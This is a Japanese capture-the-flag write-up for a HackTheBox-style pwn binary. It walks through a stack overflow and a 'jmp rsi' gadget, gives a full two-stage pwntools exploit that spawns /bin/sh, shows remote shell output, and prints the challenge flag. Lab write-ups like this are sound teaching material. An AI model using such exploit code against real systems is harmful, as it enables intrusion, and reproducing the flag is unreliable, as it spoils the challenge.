Assemblers Avenge
## solve
URL にアクセスすると、以下の表示が出る。
~~ When you stare into the abyss, the abyss stares back at you! ~~
Your only savior is: /bin/sh
提供されているファイルを DL すると、assemblers_avenge というバイナリが手に入るので、この中身を読んで Pwn を目指す。
bash
❯ file assemblers_avenge
assemblers_avenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
checksec で見ておく。ガードがわりかし緩いことがわかる。
bash
❯ pwn checksec assemblers_avenge
[*] '[root]/assemblers_avenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
objdump を使ってどういうコードが含まれているかを見ていく。
bash
❯ objdump -d -Mintel ./assemblers_avenge
./assemblers_avenge: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 55 push rbp
401001: 48 89 e5 mov rbp,rsp
401004: 48 83 ec 20 sub rsp,0x20
401008: e8 0a 00 00 00 call 401017 <_write>
40100d: e8 5b 00 00 00 call 40106d <_read>
401012: e8 29 00 00 00 call 401040 <_exit>
0000000000401017 <_write>:
401017: 55 push rbp
401018: 48 89 e5 mov rbp,rsp
40101b: 48 83 ec 20 sub rsp,0x20
40101f: 48 c7 c0 01 00 00 00 mov rax,0x1
401026: 48 c7 c7 01 00 00 00 mov rdi,0x1
40102d: 48 8d 34 25 0c 20 40 lea rsi,ds:0x40200c
401034: 00
401035: 48 c7 c2 62 00 00 00 mov rdx,0x62
40103c: 0f 05 syscall
40103e: c9 leave
40103f: c3 ret
0000000000401040 <_exit>:
401040: 48 c7 c0 01 00 00 00 mov rax,0x1
401047: 48 c7 c7 01 00 00 00 mov rdi,0x1
40104e: 48 8d 34 25 6d 20 40 lea rsi,ds:0x40206d
401055: 00
401056: 48 c7 c2 11 00 00 00 mov rdx,0x11
40105d: 0f 05 syscall
40105f: 48 c7 c0 3c 00 00 00 mov rax,0x3c
401066: 48 31 ff xor rdi,rdi
401069: 0f 05 syscall
40106b: ff e6 jmp rsi
000000000040106d <_read>:
40106d: 55 push rbp
40106e: 48 89 e5 mov rbp,rsp
401071: 48 83 ec 10 sub rsp,0x10
401075: 48 c7 c7 00 00 00 00 mov rdi,0x0
40107c: 48 8d 75 f8 lea rsi,[rbp-0x8]
401080: 48 c7 c2 18 00 00 00 mov rdx,0x18
401087: 48 c7 c0 00 00 00 00 mov rax,0x0
40108e: 0f 05 syscall
401090: c9 leave
401091: c3 ret
_read を読むと、read(0, rbp-0x8, 0x18) となり、8 byte の領域に対して 24 byte 読み込んでいる。rbp と rip まで上書きできるため、rip までの offset は 16 バイトと推定できる。
また、_exit の末尾に jmp rsi があり、そのアドレスが 0x40106b となっている。rip をこのアドレスに上書きすれば、rsi の指す場所へ飛べるのでここを利用する。
ただ上記の read は 24 byte しか受け取れず、shell を取得するには少ない。そのため、1 ステップ目で shell を取れる領域を確保し、2 ステップ目で shell を起動する構成を考える。
これをコードに落とすと以下のようになる。
exploit.py
from pwn import *
from pwnlib.tubes.process import PIPE
import time
context.arch = 'amd64'
context.os = 'linux'
# asm (size must fit in 16 bytes)
stage1 = asm('''
lea rsi, [rsp+0x200]
xor eax, eax
mov dl, 0xff
syscall
jmp rsi
''')
# execve("/bin/sh", NULL, NULL) via pwntools shellcraft
stage2 = asm(shellcraft.sh())
payload = stage1 + p64(0x40106b)
p = process("./assemblers_avenge", stdin=PIPE, stdout=PIPE, stderr=PIPE)
p.recv(timeout=0.2)
p.send(payload)
p.send(stage2)
time.sleep(0.2)
p.send(b"echo PWNED; id; uname -s\n")
print(p.recvline(timeout=0.5))
print(p.recvline(timeout=0.5))
print(p.recvline(timeout=0.5))
p.interactive()
実際に実行すると、shell を取得できていることが確認できる。
bash
❯ python exploit.py
[+] Starting local process './assemblers_avenge': pid 38963
b'PWNED\n'
b'uid=1000(nabeen) gid=1000(nabeen) groups=1000(nabeen),998(wheel)\n'
b'Linux\n'
[*] Switching to interactive mode
$
実際はリモートで立ち上がっているものに対して shell を取得したいので、以下のように書き換えて向き先をリモートにする。
diff
-p = process("./assemblers_avenge", stdin=PIPE, stdout=PIPE, stderr=PIPE)
+p = remote('154.57.164.73',32758);
実行すると、flag を読み出すことができる。
bash
❯ python exploit.py
[+] Opening connection to 154.57.164.73 on port 32758: Done
b'~~ When you stare into the abyss, the abyss stares back at you! ~~\n'
b'\n'
b'Your only savior is: /bin/sh\x00\n'
[*] Switching to interactive mode
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ pwd
/home/ctf
$ ls
assemblers_avenge
flag.txt
$ cat flag.txt
HTB{y0ur_l0c4l_4553mbl3R5_4v3ng3d_0n_t1m3}
## flag
HTB{y0ur_l0c4l_4553mbl3R5_4v3ng3d_0n_t1m3}